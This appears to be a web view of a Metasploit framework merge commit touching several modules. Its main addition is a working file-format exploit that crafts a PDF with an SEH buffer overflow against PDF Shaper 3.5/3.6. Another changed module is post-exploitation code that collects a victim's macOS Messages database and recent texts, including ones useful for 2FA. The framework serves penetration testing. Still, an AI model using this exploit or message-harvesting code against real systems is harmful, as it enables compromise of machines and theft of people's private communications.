Resolve merge conflict
commit
56505d2cc1
|
@ -138,7 +138,7 @@ class Msf::Payload::UUID
|
||||||
raise ArgumentError, "Raw UUID must be at least 16 bytes"
|
raise ArgumentError, "Raw UUID must be at least 16 bytes"
|
||||||
end
|
end
|
||||||
|
|
||||||
puid, plat_xor, arch_xor, plat_id, arch_id, tstamp = raw.unpack('A8C4N')
|
puid, plat_xor, arch_xor, plat_id, arch_id, tstamp = raw.unpack('a8C4N')
|
||||||
plat = find_platform_name(plat_xor ^ plat_id)
|
plat = find_platform_name(plat_xor ^ plat_id)
|
||||||
arch = find_architecture_name(arch_xor ^ arch_id)
|
arch = find_architecture_name(arch_xor ^ arch_id)
|
||||||
time_xor = [plat_xor, arch_xor, plat_xor, arch_xor].pack('C4').unpack('N').first
|
time_xor = [plat_xor, arch_xor, plat_xor, arch_xor].pack('C4').unpack('N').first
|
||||||
|
|
|
@ -77,6 +77,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
password: pass,
|
password: pass,
|
||||||
proof: auth.body.to_s
|
proof: auth.body.to_s
|
||||||
)
|
)
|
||||||
|
return :next_user
|
||||||
else
|
else
|
||||||
print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
|
print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,121 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FILEFORMAT
|
||||||
|
include Msf::Exploit::PDF
|
||||||
|
include Msf::Exploit::Seh
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'PDF Shaper Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
PDF Shaper is prone to a security vulnerability when processing PDF files.
|
||||||
|
The vulnerability appear when we use Convert PDF to Image and use a specially
|
||||||
|
crafted PDF file. This module has been tested successfully on Win Xp, Win 7,
|
||||||
|
Win 8, Win 10.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'metacom27[at]gmail.com - twitter.com/m3tac0m', # POC
|
||||||
|
'metacom' # MSF Module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://www.exploit-db.com/exploits/37760/']
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'process', # none/process/thread/seh
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 2000,
|
||||||
|
'DisableNops' => true
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5 and v.3.6>',
|
||||||
|
{
|
||||||
|
'Ret' => 0x00402AC1, # PDFTools.exe
|
||||||
|
'Offset' => 433
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => 'Oct 03 2015',
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('FILENAME', [false, 'The file name.', 'msf.pdf'])
|
||||||
|
], self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
file_create(make_pdf)
|
||||||
|
end
|
||||||
|
|
||||||
|
def jpeg
|
||||||
|
buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"
|
||||||
|
buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"
|
||||||
|
buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"
|
||||||
|
buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"
|
||||||
|
buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
|
||||||
|
buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"
|
||||||
|
buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
|
||||||
|
buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
|
||||||
|
buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
|
||||||
|
buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"
|
||||||
|
buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"
|
||||||
|
buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
|
||||||
|
buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"
|
||||||
|
buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"
|
||||||
|
buffer << rand_text(target['Offset']) # junk
|
||||||
|
buffer << generate_seh_record(target.ret)
|
||||||
|
buffer << payload.encoded
|
||||||
|
buffer << rand_text(2388 - payload.encoded.length)
|
||||||
|
buffer
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_pdf
|
||||||
|
@pdf << header
|
||||||
|
add_object(1, "<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")
|
||||||
|
add_object(2, "<</Type/Outlines>>")
|
||||||
|
add_object(3, "<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")
|
||||||
|
add_object(4, "[/PDF/Text/ImageC]")
|
||||||
|
add_object(5, "<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")
|
||||||
|
stream_1 = "stream" << eol
|
||||||
|
stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
|
||||||
|
stream_1 << "endstream" << eol
|
||||||
|
add_object(6, "<</Length 91>>#{stream_1}")
|
||||||
|
stream = "<<" << eol
|
||||||
|
stream << "/Width 230" << eol
|
||||||
|
stream << "/BitsPerComponent 8" << eol
|
||||||
|
stream << "/Name /X" << eol
|
||||||
|
stream << "/Height 50" << eol
|
||||||
|
stream << "/Intent /RelativeColorimetric" << eol
|
||||||
|
stream << "/Subtype /Image" << eol
|
||||||
|
stream << "/Filter /DCTDecode" << eol
|
||||||
|
stream << "/Length #{jpeg.length}" << eol
|
||||||
|
stream << "/ColorSpace /DeviceCMYK" << eol
|
||||||
|
stream << "/Type /XObject" << eol
|
||||||
|
stream << ">>"
|
||||||
|
stream << "stream" << eol
|
||||||
|
stream << jpeg << eol
|
||||||
|
stream << "endstream" << eol
|
||||||
|
add_object(7, stream)
|
||||||
|
finish_pdf
|
||||||
|
end
|
||||||
|
end
|
|
@ -82,6 +82,6 @@ module MetasploitModule
|
||||||
def generate_stage(opts = {})
|
def generate_stage(opts = {})
|
||||||
opts[:uuid] ||= generate_payload_uuid
|
opts[:uuid] ||= generate_payload_uuid
|
||||||
MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', opts.slice(:uuid, :url, :debug, :log_file)).
|
MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', opts.slice(:uuid, :url, :debug, :log_file)).
|
||||||
to_bininary :process_image
|
to_binary :process_image
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -14,20 +14,20 @@ class MetasploitModule < Msf::Post
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module will collect the Messages sqlite3 database files and chat logs
|
This module will collect the Messages sqlite3 database files and chat logs
|
||||||
from the victim's machine. There are four actions you may choose: DBFILE,
|
from the victim's machine. There are four actions you may choose: DBFILE,
|
||||||
READABLE, LATEST and ALL. DBFILE and READABLE will retrieve all messages and
|
READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and
|
||||||
LATEST will retrieve the last X number of message (useful with 2FA). Module
|
LATEST will retrieve the last X number of messages (useful with 2FA). Module
|
||||||
was tested with OS X 10.11 (El Capitan).
|
was tested with OS X 10.11 (El Capitan).
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => ['Geckom <geckom[at]redteamr.com>'],
|
'Author' => ['Geckom <geckom[at]redteamr.com>'],
|
||||||
'Platform' => ['osx'],
|
'Platform' => ['osx'],
|
||||||
'SessionTypes' => [ "meterpreter", "shell" ],
|
'SessionTypes' => ['meterpreter', 'shell'],
|
||||||
'Actions' =>
|
'Actions' =>
|
||||||
[
|
[
|
||||||
['DBFILE', { 'Description' => 'Collect messages DB file' } ],
|
['DBFILE', 'Description' => 'Collect Messages DB file'],
|
||||||
['READABLE', { 'Description' => 'Collect messages DB and download in a readable format' } ],
|
['READABLE', 'Description' => 'Collect Messages DB and download in a readable format'],
|
||||||
['LATEST', { 'Description' => 'Collect the latest message' } ],
|
['LATEST', 'Description' => 'Collect the latest message'],
|
||||||
['ALL', { 'Description' => 'Collect all messages data'}]
|
['ALL', 'Description' => 'Collect all Messages data']
|
||||||
],
|
],
|
||||||
'DefaultAction' => 'ALL'
|
'DefaultAction' => 'ALL'
|
||||||
))
|
))
|
||||||
|
@ -35,10 +35,42 @@ class MetasploitModule < Msf::Post
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptInt.new('MSGCOUNT', [false, 'Number of latest messages to retrieve.', 3]),
|
OptInt.new('MSGCOUNT', [false, 'Number of latest messages to retrieve.', 3]),
|
||||||
OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)', 'CURRENT'])
|
OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)'])
|
||||||
], self.class)
|
]
|
||||||
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
if datastore['USER']
|
||||||
|
user = datastore['USER']
|
||||||
|
else
|
||||||
|
user = cmd_exec('/usr/bin/whoami')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Check file exists
|
||||||
|
messages_path = "/Users/#{user}/Library/Messages/chat.db"
|
||||||
|
if file_exist?(messages_path)
|
||||||
|
print_good("#{peer} - Messages DB found: #{messages_path}")
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Check messages. And then set the default profile path
|
||||||
|
unless messages_path
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("#{peer} - Found Messages file: #{messages_path}")
|
||||||
|
|
||||||
|
files = []
|
||||||
|
|
||||||
|
# Download file
|
||||||
|
files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i
|
||||||
|
files << readable(messages_path) if action.name =~ /ALL|READABLE/i
|
||||||
|
files << latest(messages_path) if action.name =~ /ALL|LATEST/i
|
||||||
|
|
||||||
|
save(files)
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Collect messages db file.
|
# Collect messages db file.
|
||||||
|
@ -49,7 +81,6 @@ class MetasploitModule < Msf::Post
|
||||||
{filename: 'messages.db', mime: 'bin', data: message_data}
|
{filename: 'messages.db', mime: 'bin', data: message_data}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Generate a readable version of the messages DB
|
# Generate a readable version of the messages DB
|
||||||
#
|
#
|
||||||
|
@ -68,7 +99,7 @@ class MetasploitModule < Msf::Post
|
||||||
'ORDER BY m.date;'
|
'ORDER BY m.date;'
|
||||||
]
|
]
|
||||||
sql = sql.join(' ')
|
sql = sql.join(' ')
|
||||||
readable_data = exec_shell_cmd("sqlite3 #{messages_path} '#{sql}'")
|
readable_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
|
||||||
{filename: 'messages.txt', mime: 'text/plain', data: readable_data}
|
{filename: 'messages.txt', mime: 'text/plain', data: readable_data}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -90,7 +121,7 @@ class MetasploitModule < Msf::Post
|
||||||
"ORDER BY m.date DESC LIMIT #{datastore['MSGCOUNT']};"
|
"ORDER BY m.date DESC LIMIT #{datastore['MSGCOUNT']};"
|
||||||
]
|
]
|
||||||
sql = sql.join(' ')
|
sql = sql.join(' ')
|
||||||
latest_data = exec_shell_cmd("sqlite3 #{messages_path} '#{sql}'")
|
latest_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
|
||||||
print_good("#{peer} - Latest messages: \n#{latest_data}")
|
print_good("#{peer} - Latest messages: \n#{latest_data}")
|
||||||
{filename: 'latest.txt', mime: 'text/plain', data: latest_data}
|
{filename: 'latest.txt', mime: 'text/plain', data: latest_data}
|
||||||
end
|
end
|
||||||
|
@ -112,80 +143,4 @@ class MetasploitModule < Msf::Post
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Return an array or directory names
|
|
||||||
#
|
|
||||||
def dir(path)
|
|
||||||
results = []
|
|
||||||
subdirs = exec_shell_cmd("ls -l #{path}")
|
|
||||||
|
|
||||||
unless subdirs =~ /No such file or directory/
|
|
||||||
results = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d\:]+\x20(.+)$/).flatten
|
|
||||||
end
|
|
||||||
|
|
||||||
results
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# This is just a wrapper for cmd_exec(), except it chomp() the output,
|
|
||||||
# and retry under certain conditions.
|
|
||||||
#
|
|
||||||
def exec_shell_cmd(cmd)
|
|
||||||
begin
|
|
||||||
out = cmd_exec(cmd).chomp
|
|
||||||
rescue ::Timeout::Error => e
|
|
||||||
vprint_error("#{peer} - #{e.message} - retrying...")
|
|
||||||
retry
|
|
||||||
rescue EOFError => e
|
|
||||||
vprint_error("#{peer} - #{e.message} - retrying...")
|
|
||||||
retry
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
def locate_messages(base)
|
|
||||||
dir(base).each do |folder|
|
|
||||||
m = folder.match(/(Messages)$/)
|
|
||||||
if m
|
|
||||||
m = m[0].gsub(/\x20/, "\\\\ ") + "/"
|
|
||||||
return "#{base}#{m}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
nil
|
|
||||||
end
|
|
||||||
|
|
||||||
def run
|
|
||||||
if datastore['USER'] == 'CURRENT'
|
|
||||||
user = exec_shell_cmd("/usr/bin/whoami")
|
|
||||||
else
|
|
||||||
user = datastore['USER']
|
|
||||||
end
|
|
||||||
|
|
||||||
# Check file exists
|
|
||||||
messages_path = "/Users/#{user}/Library/Messages/chat.db"
|
|
||||||
if file_exist?(messages_path)
|
|
||||||
print_good("#{peer} - Messages DB found: #{messages_path}")
|
|
||||||
else
|
|
||||||
fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
|
|
||||||
end
|
|
||||||
|
|
||||||
# Check messages. And then set the default profile path
|
|
||||||
unless messages_path
|
|
||||||
fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")
|
|
||||||
end
|
|
||||||
|
|
||||||
print_good("#{peer} - Found messages file: #{messages_path}")
|
|
||||||
|
|
||||||
files = []
|
|
||||||
|
|
||||||
# Download file
|
|
||||||
files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i
|
|
||||||
files << readable(messages_path) if action.name =~ /ALL|READABLE/i
|
|
||||||
files << latest(messages_path) if action.name =~ /ALL|LATEST/i
|
|
||||||
|
|
||||||
save(files)
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue